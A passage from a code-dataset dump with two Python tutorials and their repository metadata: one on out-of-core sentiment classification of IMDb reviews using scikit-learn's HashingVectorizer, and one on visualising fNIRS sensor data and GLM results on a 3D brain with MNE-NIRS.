"lm_q1q2_score": 0.05541762108346984}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: notebooks//ipynb,markdown_files//md,python_scripts//py:percent\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.2'\n#       jupytext_version: 1.2.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# # Out-of-core Learning - Large Scale Text Classification for Sentiment Analysis\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ## Scalability Issues\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The `sklearn.feature_extraction.text.CountVectorizer` and `sklearn.feature_extraction.text.TfidfVectorizer` classes suffer from a number of scalability issues that all stem from the internal usage of the `vocabulary_` attribute (a Python dictionary) used to map the unicode string feature names to the integer feature indices.\n#\n# The main scalability issues are:\n#\n# - **Memory usage of the text vectorizer**: all the string representations of the features are loaded in memory\n# - **Parallelization problems for text feature extraction**: the `vocabulary_` would be a shared state: complex synchronization and overhead\n# - **Impossibility to do online or out-of-core / streaming learning**: the `vocabulary_` needs to be learned from the data: its size cannot be known before making one pass over the full dataset\n#     \n#     \n# To better understand the issue let's have a look at how the `vocabulary_` attribute work. At `fit` time the tokens of the corpus are uniquely indentified by a integer index and this mapping stored in the vocabulary:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nvectorizer = CountVectorizer(min_df=1)\n\nvectorizer.fit([\n    \"The cat sat on the mat.\",\n])\nvectorizer.vocabulary_\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The vocabulary is used at `transform` time to build the occurrence matrix:\n\n# %% {\"deletable\": true, \"editable\": true}\nX = vectorizer.transform([\n    \"The cat sat on the mat.\",\n    \"This cat is a nice cat.\",\n]).toarray()\n\nprint(len(vectorizer.vocabulary_))\nprint(vectorizer.get_feature_names())\nprint(X)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Let's refit with a slightly larger corpus:\n\n# %% {\"deletable\": true, \"editable\": true}\nvectorizer = CountVectorizer(min_df=1)\n\nvectorizer.fit([\n    \"The cat sat on the mat.\",\n    \"The quick brown fox jumps over the lazy dog.\",\n])\nvectorizer.vocabulary_\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The `vocabulary_` is the (logarithmically) growing with the size of the training corpus. Note that we could not have built the vocabularies in parallel on the 2 text documents as they share some words hence would require some kind of shared datastructure or synchronization barrier which is complicated to setup, especially if we want to distribute the processing on a cluster.\n#\n# With this new vocabulary, the dimensionality of the output space is now larger:\n\n# %% {\"deletable\": true, \"editable\": true}\nX = vectorizer.transform([\n    \"The cat sat on the mat.\",\n    \"This cat is a nice cat.\",\n]).toarray()\n\nprint(len(vectorizer.vocabulary_))\nprint(vectorizer.get_feature_names())\nprint(X)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ## The IMDb movie dataset\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# To illustrate the scalability issues of the vocabulary-based vectorizers, let's load a more realistic dataset for a classical text classification task: sentiment analysis on text documents. The goal is to tell apart negative from positive movie reviews from the [Internet Movie Database](http://www.imdb.com) (IMDb).\n#\n# In the following sections, with a [large subset](http://ai.stanford.edu/~amaas/data/sentiment/) of movie reviews from the IMDb that has been collected by Maas et al. \n#\n# - A. L. Maas, R. E. Daly, P. T. Pham, D. Huang, A. Y. Ng, and C. Potts. Learning Word Vectors for Sentiment Analysis. In the proceedings of the 49th Annual Meeting of the Association for Computational Linguistics: Human Language Technologies, pages 142\u2013150, Portland, Oregon, USA, June 2011. Association for Computational Linguistics. \n#\n# This dataset contains 50,000 movie reviews, which were split into 25,000 training samples and 25,000 test samples. The reviews are labeled as either negative (neg) or positive (pos). Moreover, *positive* means that a movie received >6 stars on IMDb; negative means that a movie received <5 stars, respectively.\n#\n#\n# Assuming that the `../fetch_data.py` script was run successfully the following files should be available:\n\n# %% {\"deletable\": true, \"editable\": true}\nimport os\n\ntrain_path = os.path.join('datasets', 'IMDb', 'aclImdb', 'train')\ntest_path = os.path.join('datasets', 'IMDb', 'aclImdb', 'test')\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Now, let's load them into our active session via scikit-learn's `load_files` function\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.datasets import load_files\n\ntrain = load_files(container_path=(train_path),\n                   categories=['pos', 'neg'])\n\ntest = load_files(container_path=(test_path),\n                  categories=['pos', 'neg'])\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# <div class=\"alert alert-warning\">\n#     <b>NOTE</b>:\n#      <ul>\n#       <li>\n#       Since the movie datasets consists of 50,000 individual text files, executing the code snippet above may take ~20 sec or longer.\n#       </li>\n#     </ul>\n# </div>\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The `load_files` function loaded the datasets into `sklearn.datasets.base.Bunch` objects, which are Python dictionaries:\n\n# %% {\"deletable\": true, \"editable\": true}\ntrain.keys()\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# In particular, we are only interested in the `data` and `target` arrays.\n\n# %% {\"deletable\": true, \"editable\": true}\nimport numpy as np\n\nfor label, data in zip(('TRAINING', 'TEST'), (train, test)):\n    print('\\n\\n%s' % label)\n    print('Number of documents:', len(data['data']))\n    print('\\n1st document:\\n', data['data'][0])\n    print('\\n1st label:', data['target'][0])\n    print('\\nClass names:', data['target_names'])\n    print('Class count:', \n          np.unique(data['target']), ' -> ',\n          np.bincount(data['target']))\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# As we can see above the `'target'` array consists of integers `0` and `1`, where `0` stands for negative and `1` stands for positive.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ## The Hashing Trick\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Remember the bag of word representation using a vocabulary based vectorizer:\n#\n# <img src=\"figures/bag_of_words.svg\" width=\"100%\">\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# To workaround the limitations of the vocabulary-based vectorizers, one can use the hashing trick. Instead of building and storing an explicit mapping from the feature names to the feature indices in a Python dict, we can just use a hash function and a modulus operation:\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# <img src=\"figures/hashing_vectorizer.svg\" width=\"100%\">\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# More info and reference for the original papers on the Hashing Trick in the [following site](http://www.hunch.net/~jl/projects/hash_reps/index.html) as well as a description specific to language [here](http://blog.someben.com/2013/01/hashing-lang/).\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.utils.murmurhash import murmurhash3_bytes_u32\n\n# encode for python 3 compatibility\nfor word in \"the cat sat on the mat\".encode(\"utf-8\").split():\n    print(\"{0} => {1}\".format(\n        word, murmurhash3_bytes_u32(word, 0) % 2 ** 20))\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# This mapping is completely stateless and the dimensionality of the output space is explicitly fixed in advance (here we use a modulo `2 ** 20` which means roughly 1M dimensions). The makes it possible to workaround the limitations of the vocabulary based vectorizer both for parallelizability and online / out-of-core learning.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The `HashingVectorizer` class is an alternative to the `CountVectorizer` (or `TfidfVectorizer` class with `use_idf=False`) that internally uses the murmurhash hash function:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.feature_extraction.text import HashingVectorizer\n\nh_vectorizer = HashingVectorizer(encoding='latin-1')\nh_vectorizer\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# It shares the same \"preprocessor\", \"tokenizer\" and \"analyzer\" infrastructure:\n\n# %% {\"deletable\": true, \"editable\": true}\nanalyzer = h_vectorizer.build_analyzer()\nanalyzer('This is a test sentence.')\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# We can vectorize our datasets into a scipy sparse matrix exactly as we would have done with the `CountVectorizer` or `TfidfVectorizer`, except that we can directly call the `transform` method: there is no need to `fit` as `HashingVectorizer` is a stateless transformer:\n\n# %% {\"deletable\": true, \"editable\": true}\ndocs_train, y_train = train['data'], train['target']\ndocs_valid, y_valid = test['data'][:12500], test['target'][:12500]\ndocs_test, y_test = test['data'][12500:], test['target'][12500:]\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The dimension of the output is fixed ahead of time to `n_features=2 ** 20` by default (nearly 1M features) to minimize the rate of collision on most classification problem while having reasonably sized linear models (1M weights in the `coef_` attribute):\n\n# %% {\"deletable\": true, \"editable\": true}\nh_vectorizer.transform(docs_train)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Now, let's compare the computational efficiency of the `HashingVectorizer` to the `CountVectorizer`:\n\n# %% {\"deletable\": true, \"editable\": true}\nh_vec = HashingVectorizer(encoding='latin-1')\n# %timeit -n 1 -r 3 h_vec.fit(docs_train, y_train)\n\n# %% {\"deletable\": true, \"editable\": true}\ncount_vec =  CountVectorizer(encoding='latin-1')\n# %timeit -n 1 -r 3 count_vec.fit(docs_train, y_train)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# As we can see, the HashingVectorizer is much faster than the Countvectorizer in this case.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Finally, let us train a LogisticRegression classifier on the IMDb training subset:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.pipeline import Pipeline\n\nh_pipeline = Pipeline([\n    ('vec', HashingVectorizer(encoding='latin-1')),\n    ('clf', LogisticRegression(random_state=1)),\n])\n\nh_pipeline.fit(docs_train, y_train)\n\n# %% {\"deletable\": true, \"editable\": true}\nprint('Train accuracy', h_pipeline.score(docs_train, y_train))\nprint('Validation accuracy', h_pipeline.score(docs_valid, y_valid))\n\n# %% {\"deletable\": true, \"editable\": true}\nimport gc\n\ndel count_vec\ndel h_pipeline\n\ngc.collect()\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# # Out-of-Core learning\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Out-of-Core learning is the task of training a machine learning model on a dataset that does not fit into memory or RAM. This requires the following conditions:\n#     \n# - a **feature extraction** layer with **fixed output dimensionality**\n# - knowing the list of all classes in advance (in this case we only have positive and negative reviews)\n# - a machine learning **algorithm that supports incremental learning** (the `partial_fit` method in scikit-learn).\n#\n# In the following sections, we will set up a simple batch-training function to train an `SGDClassifier` iteratively. \n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# But first, let us load the file names into a Python list:\n\n# %% {\"deletable\": true, \"editable\": true}\ntrain_path = os.path.join('datasets', 'IMDb', 'aclImdb', 'train')\ntrain_pos = os.path.join(train_path, 'pos')\ntrain_neg = os.path.join(train_path, 'neg')\n\nfnames = [os.path.join(train_pos, f) for f in os.listdir(train_pos)] +\\\n         [os.path.join(train_neg, f) for f in os.listdir(train_neg)]\n\nfnames[:3]\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Next, let us create the target label array:\n\n# %% {\"deletable\": true, \"editable\": true}\ny_train = np.zeros((len(fnames), ), dtype=int)\ny_train[:12500] = 1\nnp.bincount(y_train)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Now, we implement the `batch_train function` as follows:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.base import clone\n\ndef batch_train(clf, fnames, labels, iterations=25, batchsize=1000, random_seed=1):\n    vec = HashingVectorizer(encoding='latin-1')\n    idx = np.arange(labels.shape[0])\n    c_clf = clone(clf)\n    rng = np.random.RandomState(seed=random_seed)\n    \n    for i in range(iterations):\n        rnd_idx = rng.choice(idx, size=batchsize)\n        documents = []\n        for i in rnd_idx:\n            with open(fnames[i], 'r', encoding='latin-1') as f:\n                documents.append(f.read())\n        X_batch = vec.transform(documents)\n        batch_labels = labels[rnd_idx]\n        c_clf.partial_fit(X=X_batch, \n                          y=batch_labels, \n                          classes=[0, 1])\n      \n    return c_clf\n\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Note that we are not using `LogisticRegression` as in the previous section, but we will use a `SGDClassifier` with a logistic cost function instead. SGD stands for `stochastic gradient descent`, an optimization alrogithm that optimizes the weight coefficients iteratively sample by sample, which allows us to feed the data to the classifier chunk by chuck.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# And we train the `SGDClassifier`; using the default settings of the `batch_train` function, it will train the classifier on 25*1000=25000 documents. (Depending on your machine, this may take >2 min)\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.linear_model import SGDClassifier\n\nsgd = SGDClassifier(loss='log', random_state=1, max_iter=1000)\n\nsgd = batch_train(clf=sgd,\n                  fnames=fnames,\n                  labels=y_train)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Eventually, let us evaluate its performance:\n\n# %% {\"deletable\": true, \"editable\": true}\nvec = HashingVectorizer(encoding='latin-1')\nsgd.score(vec.transform(docs_test), y_test)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ### Limitations of the Hashing Vectorizer\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Using the Hashing Vectorizer makes it possible to implement streaming and parallel text classification but can also introduce some issues:\n#     \n# - The collisions can introduce too much noise in the data and degrade prediction quality,\n# - The `HashingVectorizer` does not provide \"Inverse Document Frequency\" reweighting (lack of a `use_idf=True` option).\n# - There is no easy way to inverse the mapping and find the feature names from the feature index.\n#\n# The collision issues can be controlled by increasing the `n_features` parameters.\n#\n# The IDF weighting might be reintroduced by appending a `TfidfTransformer` instance on the output of the vectorizer. However computing the `idf_` statistic used for the feature reweighting will require to do at least one additional pass over the training set before being able to start training the classifier: this breaks the online learning scheme.\n#\n# The lack of inverse mapping (the `get_feature_names()` method of `TfidfVectorizer`) is even harder to workaround. That would require extending the `HashingVectorizer` class to add a \"trace\" mode to record the mapping of the most important features to provide statistical debugging information.\n#\n# In the mean time to debug feature extraction issues, it is recommended to use `TfidfVectorizer(use_idf=False)` on a small-ish subset of the dataset to simulate a `HashingVectorizer()` instance that have the `get_feature_names()` method and no collision issues.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# <div class=\"alert alert-success\">\n#     <b>EXERCISE</b>:\n#      <ul>\n#       <li>\n#       In our implementation of the batch_train function above, we randomly draw *k* training samples as a batch in each iteration, which can be considered as a random subsampling ***with*** replacement. Can you modify the `batch_train` function so that it iterates over the documents ***without*** replacement, i.e., that it uses each document ***exactly once*** per iteration?\n#       </li>\n#     </ul>\n# </div>\n\n# %% {\"deletable\": true, \"editable\": true}\n# # %load solutions/23_batchtrain.py\n", "meta": {"hexsha": "12dee9252edeeec73c228cf76b4940e014a7f60e", "size": 16978, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_scripts/23.Out-of-core_Learning_Large_Scale_Text_Classification.py", "max_stars_repo_name": "ogrisel/euroscipy-2019-scikit-learn-tutorial", "max_stars_repo_head_hexsha": "e141cd8f3e600f35826516738188e87ac3480fc3", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-08-20T17:47:43.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-05T06:55:08.000Z", "max_issues_repo_path": "python_scripts/23.Out-of-core_Learning_Large_Scale_Text_Classification.py", "max_issues_repo_name": "ogrisel/euroscipy-2019-scikit-learn-tutorial", "max_issues_repo_head_hexsha": "e141cd8f3e600f35826516738188e87ac3480fc3", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_scripts/23.Out-of-core_Learning_Large_Scale_Text_Classification.py", "max_forks_repo_name": "ogrisel/euroscipy-2019-scikit-learn-tutorial", "max_forks_repo_head_hexsha": "e141cd8f3e600f35826516738188e87ac3480fc3", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.7713498623, "max_line_length": 379, "alphanum_fraction": 0.7110967134, "include": true, "reason": "import numpy", "num_tokens": 4253, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41111086923216805, "lm_q2_score": 0.13477591742295678, "lm_q1q2_score": 0.055407844563314664}}
{"text": "\"\"\"\n.. _tut-fnirs-vis-brain:\n\nUtilising Anatomical Information\n================================\n\nThis example demonstrates how you can utilise anatomical and sensor position\ninformation in your analysis pipeline. This information can be used to\nverify measurement/analysis and also improve analysis accuracy\n:footcite:`novi2020integration`.\n\nThis example demonstrates how to plot your data on a 3D brain\nand overlay the sensor locations and regions of interest.\n\nThis tutorial glosses over the processing details, see the\n:ref:`GLM tutorial <tut-fnirs-hrf>` for details on the preprocessing.\n\n.. contents:: Page contents\n   :local:\n   :depth: 2\n\n\n\"\"\"\n# sphinx_gallery_thumbnail_number = 5\n\n# Authors: Robert Luke <mail@robertluke.net>\n#\n# License: BSD (3-clause)\n\nimport numpy as np\nimport pandas as pd\n\nimport mne\nfrom mne.preprocessing.nirs import optical_density, beer_lambert_law\n\nimport statsmodels.formula.api as smf\n\nfrom mne_bids import BIDSPath, read_raw_bids, get_entity_vals\nimport mne_nirs\n\nfrom mne_nirs.experimental_design import make_first_level_design_matrix\nfrom mne_nirs.statistics import run_glm, statsmodels_to_results\nfrom mne_nirs.channels import get_long_channels, get_short_channels\nfrom mne_nirs.io.fold import fold_landmark_specificity\nfrom mne_nirs.visualisation import plot_nirs_source_detector, plot_glm_surface_projection\nfrom mne_nirs.datasets import fnirs_motor_group\n\n\n# %%\n# Download example data\n# -------------------------------\n#\n# First, the data required data for this tutorial is downloaded.\n\n# %%\n# Download example fNIRS data\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Download the ``audio_or_visual_speech`` dataset and load the first measurement.\n\nroot = mne_nirs.datasets.audio_or_visual_speech.data_path()\ndataset = BIDSPath(root=root, suffix=\"nirs\", extension=\".snirf\", subject=\"04\",\n                   task=\"AudioVisualBroadVsRestricted\", datatype=\"nirs\", session=\"01\")\nraw = read_raw_bids(dataset)\n\n\n# %%\n# Download annotation information\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Download the HCP-MMP parcellation.\n\n# Download anatomical locations\nsubjects_dir = mne.datasets.sample.data_path() + '/subjects'\nmne.datasets.fetch_hcp_mmp_parcellation(subjects_dir=subjects_dir, accept=True)\nlabels = mne.read_labels_from_annot('fsaverage', 'HCPMMP1', 'lh', subjects_dir=subjects_dir)\nlabels_combined = mne.read_labels_from_annot('fsaverage', 'HCPMMP1_combined', 'lh', subjects_dir=subjects_dir)\n\n\n# %%\n# Verify placement of sensors\n# ---------------------------\n#\n# The first thing we can do is plot the location of the optodes and channels\n# over an average brain surface to verify the data, specifically the 3D coordinates,\n# have been loaded correctly. The sources are represented as red dots,\n# the detectors are represented as black dots, the whit lines represent source-detector\n# pairs, and the orange dots represent channel locations.\n# In this example we can see channels over the left inferior frontal gyrus,\n# auditory cortex, planum temporale, and occipital lobe.\n\nbrain = mne.viz.Brain('fsaverage', subjects_dir=subjects_dir, background='w', cortex='0.5')\nbrain.add_sensors(raw.info, trans='fsaverage', fnirs=['channels', 'pairs', 'sources', 'detectors'])\nbrain.show_view(azimuth=180, elevation=80, distance=450)\n\n# %%\n# .. _tut-fnirs-vis-brain-plot-3d-montage:\n#\n# Plot sensor channel numbers\n# ---------------------------\n# Often for publications and sanity checking, it's convenient to create an\n# image showing the channel numbers along with the (typically) 10-20 location\n# in the correct locations in a 3D view. The function\n# :func:`mne_nirs.visualisation.plot_3d_montage` gives us this once we\n# specify which views to use to show each channel pair:\n\nview_map = {\n    'left-lat': np.r_[np.arange(1, 27), 28],\n    'caudal': np.r_[27, np.arange(43, 53)],\n    'right-lat': np.r_[np.arange(29, 43), 44],\n}\n\nfig_montage = mne_nirs.visualisation.plot_3d_montage(\n    raw.info, view_map=view_map, subjects_dir=subjects_dir)\n\n# %%\n# Plot sensor channels and anatomical region of interest\n# ------------------------------------------------------\n#\n# Once the data has been loaded we can highlight anatomical regions of interest\n# to ensure that the sensors are appropriately placed to measure from\n# the relevant brain structures.\n# In this example we highlight the primary auditory cortex in blue,\n# and we can see that a number of channels are placed over this structure.\n\nbrain = mne.viz.Brain('fsaverage', subjects_dir=subjects_dir, background='w', cortex='0.5')\nbrain.add_sensors(raw.info, trans='fsaverage', fnirs=['channels', 'pairs', 'sources', 'detectors'])\n\naud_label = [label for label in labels if label.name == 'L_A1_ROI-lh'][0]\nbrain.add_label(aud_label, borders=False, color='blue')\nbrain.show_view(azimuth=180, elevation=80, distance=450)\n\n\n# %%\n# Plot channels sensitive to anatomical region of interest\n# --------------------------------------------------------\n#\n# .. sidebar:: fOLD Toolbox\n#\n#    You should use the fOLD toolbox to pick your optode locations\n#    when designing your experiment.\n#    The tool is very intuitive and easy to use.\n#    Be sure to cite the authors if you use their tool or data:\n#\n#    Morais, Guilherme Augusto Zimeo, Joana Bisol Balardin, and Jo\u00e3o Ricardo Sato. \"fNIRS optodes\u2019 location decider (fOLD): a toolbox for probe arrangement guided by brain regions-of-interest.\" Scientific reports 8.1 (2018): 1-11.\n#\n# Rather than simply eye balling the sensor and ROIs of interest, we can\n# quantify the specificity of each channel to the anatomical region of interest\n# and select channels that are sufficiently sensitive for further analysis.\n# In this example we highlight the left inferior frontal gyrus (IFG) and\n# use data from the fOLD toolbox :footcite:`morais2018fnirs`.\n# To see more details about how to use the fOLD data see\n# :ref:`this tutorial <tut-fnirs-group-relating>`.\n\n# Return specificity of each channel to the Left IFG\nspecificity = fold_landmark_specificity(raw, 'L IFG (p. Triangularis)')\n\n# Retain only channels with specificity to left IFG of greater than 50%\nraw_IFG = raw.copy().pick(picks=np.where(specificity > 50)[0])\n\nbrain = mne.viz.Brain('fsaverage', subjects_dir=subjects_dir, background='w', cortex='0.5')\nbrain.add_sensors(raw_IFG.info, trans='fsaverage', fnirs=['channels', 'pairs'])\n\nifg_label = [label for label in labels_combined if label.name == 'Inferior Frontal Cortex-lh'][0]\nbrain.add_label(ifg_label, borders=False, color='green')\n\nbrain.show_view(azimuth=140, elevation=95, distance=360)\n\n\n# %%\n#\n# Alternatively, we can retain all channels and visualise the specificity of each channel the ROI\n# by encoding the specificty in the color of the line between each source and detector.\n# In this example we see that several channels have substantial specificity to\n# the region of interest.\n#\n# Note: this function currently doesn't support the new MNE brain API, so does\n# not allow the same behaviour as above (adding sensors, highlighting ROIs etc).\n# It should be updated in the near future.\n\nfig = plot_nirs_source_detector(specificity, raw.info, surfaces='brain',\n                                subject='fsaverage', subjects_dir=subjects_dir, trans='fsaverage')\nmne.viz.set_3d_view(fig, azimuth=140, elevation=95)\n\n\n# %%\n# Anatomically informed weighting in region of interest analysis\n# --------------------------------------------------------------\n#\n# As observed above, some channels have greater specificity to the desired\n# brain region than other channels.\n# Thus, when doing a region of interest analysis you may wish to give extra\n# weight to channels with greater sensitivity to the desired ROI.\n# This can be done by manually specifying the weights used in the region of\n# interest function call.\n# The details of the GLM analysis will not be described here, instead view the\n# :ref:`fNIRS GLM tutorial <tut-fnirs-hrf>`. Instead, comments are provided\n# for the weighted region of interest function call.\n\n# Basic pipeline, simplified for example\nraw_od = optical_density(raw)\nraw_haemo = beer_lambert_law(raw_od)\nraw_haemo.resample(0.3).pick(\"hbo\")  # Speed increase for web server\nsht_chans = get_short_channels(raw_haemo)\nraw_haemo = get_long_channels(raw_haemo)\ndesign_matrix = make_first_level_design_matrix(raw_haemo, stim_dur=13.0)\ndesign_matrix[\"ShortHbO\"] = np.mean(sht_chans.copy().pick(picks=\"hbo\").get_data(), axis=0)\nglm_est = run_glm(raw_haemo, design_matrix)\n\n# First we create a dictionary for each region of interest.\n# Here we include all channels in each ROI, as we will later be applying\n# weights based on their specificity to the brain regions of interest.\nrois = dict()\nrois[\"Audio_weighted\"] = range(len(glm_est.ch_names))\nrois[\"Visual_weighted\"] = range(len(glm_est.ch_names))\n\n# Next we compute the specificity for each channel to the auditory and visual cortex.\nspec_aud = fold_landmark_specificity(raw_haemo, '42 - Primary and Auditory Association Cortex', atlas=\"Brodmann\")\nspec_vis = fold_landmark_specificity(raw_haemo, '17 - Primary Visual Cortex (V1)', atlas=\"Brodmann\")\n\n# Next we create a dictionary to store the weights for each channel in the ROI.\n# The weights will be the specificity to the ROI.\n# The keys and length of each dictionary entry must match the ROI dictionary.\nweights = dict()\nweights[\"Audio_weighted\"] = spec_aud\nweights[\"Visual_weighted\"] = spec_vis\n\n# Finally we compute region of interest results using the weights specified above\nout = glm_est.to_dataframe_region_of_interest(rois, [\"Video\", \"Control\"], weighted=weights)\nout[\"Significant\"] = out[\"p\"] < 0.05\nout\n\n\n# %%\n# In the table above we observe that the response to the visual condition\n# is only present in the visual region of interest. You can use this\n# technique to load any custom weighting, including weights exported from\n# other software.\n\n\n# %%\n# Preprocess fNIRS data\n# ---------------------\n#\n# We can also use the 3D information to project the results on to the cortical surface.\n# First, we process the fNIRS data. This is a duplication of the GLM tutorial\n# analysis. The details will not be described here, instead view the\n# :ref:`fNIRS GLM tutorial <tut-fnirs-hrf>`.\n\n\ndef individual_analysis(bids_path, ID):\n\n    raw_intensity = read_raw_bids(bids_path=bids_path, verbose=False)\n     # sanitize event names\n    raw_intensity.annotations.description[:] = [\n        d.replace('/', '_') for d in raw_intensity.annotations.description]\n\n    # Convert signal to haemoglobin and resample\n    raw_od = optical_density(raw_intensity)\n    raw_haemo = beer_lambert_law(raw_od, ppf=0.1)\n    raw_haemo.resample(0.3)\n\n    # Cut out just the short channels for creating a GLM repressor\n    sht_chans = get_short_channels(raw_haemo)\n    raw_haemo = get_long_channels(raw_haemo)\n\n    # Create a design matrix\n    design_matrix = make_first_level_design_matrix(raw_haemo, stim_dur=5.0)\n\n    # Append short channels mean to design matrix\n    design_matrix[\"ShortHbO\"] = np.mean(sht_chans.copy().pick(picks=\"hbo\").get_data(), axis=0)\n    design_matrix[\"ShortHbR\"] = np.mean(sht_chans.copy().pick(picks=\"hbr\").get_data(), axis=0)\n\n    # Run GLM\n    glm_est = run_glm(raw_haemo, design_matrix)\n\n    # Extract channel metrics\n    cha = glm_est.to_dataframe()\n\n    # Add the participant ID to the dataframes\n    cha[\"ID\"] = ID\n\n    # Convert to uM for nicer plotting below.\n    cha[\"theta\"] = [t * 1.e6 for t in cha[\"theta\"]]\n\n    return raw_haemo, cha\n\n\n# Get dataset details\nroot = fnirs_motor_group.data_path()\ndataset = BIDSPath(root=root, task=\"tapping\",\n                   datatype=\"nirs\", suffix=\"nirs\", extension=\".snirf\")\nsubjects = get_entity_vals(root, 'subject')\n\ndf_cha = pd.DataFrame()  # To store channel level results\nfor sub in subjects:  # Loop from first to fifth subject\n\n    # Create path to file based on experiment info\n    bids_path = dataset.update(subject=sub)\n\n    # Analyse data and return both ROI and channel results\n    raw_haemo, channel = individual_analysis(bids_path, sub)\n\n    # Append individual results to all participants\n    df_cha = pd.concat([df_cha, channel], ignore_index=True)\n\nch_summary = df_cha.query(\"Condition in ['Tapping_Right']\")\nassert len(ch_summary)\nch_summary = ch_summary.query(\"Chroma in ['hbo']\")\nch_model = smf.mixedlm(\"theta ~ -1 + ch_name\", ch_summary,\n                       groups=ch_summary[\"ID\"]).fit(method='nm')\nmodel_df = statsmodels_to_results(ch_model, order=raw_haemo.copy().pick(\"hbo\").ch_names)\n\n\n\n# %%\n# Plot surface projection of GLM results\n# --------------------------------------\n#\n# Finally, we can project the GLM results from each channel to the nearest cortical surface\n# and overlay the sensor positions and two different regions of interest.\n# In this example we also highlight the premotor cortex and auditory association cortex\n# in green and blue respectively.\n\n# Plot the projection and sensor locations\nbrain = plot_glm_surface_projection(raw_haemo.copy().pick(\"hbo\"), model_df, colorbar=True)\nbrain.add_sensors(raw_haemo.info, trans='fsaverage', fnirs=['channels', 'pairs', 'sources', 'detectors'])\n\n# mark the premotor cortex in green\naud_label = [label for label in labels_combined if label.name == 'Premotor Cortex-lh'][0]\nbrain.add_label(aud_label, borders=True, color='green')\n\n# mark the auditory association cortex in blue\naud_label = [label for label in labels_combined if label.name == 'Auditory Association Cortex-lh'][0]\nbrain.add_label(aud_label, borders=True, color='blue')\n\nbrain.show_view(azimuth=160, elevation=60, distance=400)\n\n\n# %%\n# Bibliography\n# -----------------------------------------------\n#\n# .. footbibliography::\n", "meta": {"hexsha": "b4ce1bd6086f511d3e520e30d2e467102ce6cdf4", "size": 13605, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/general/plot_70_visualise_brain.py", "max_stars_repo_name": "alexrockhill/mne-nirs", "max_stars_repo_head_hexsha": "846d5f7dc5c7022d8b4a4af2911f1dff31e678d4", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/general/plot_70_visualise_brain.py", "max_issues_repo_name": "alexrockhill/mne-nirs", "max_issues_repo_head_hexsha": "846d5f7dc5c7022d8b4a4af2911f1dff31e678d4", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/general/plot_70_visualise_brain.py", "max_forks_repo_name": "alexrockhill/mne-nirs", "max_forks_repo_head_hexsha": "846d5f7dc5c7022d8b4a4af2911f1dff31e678d4", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, 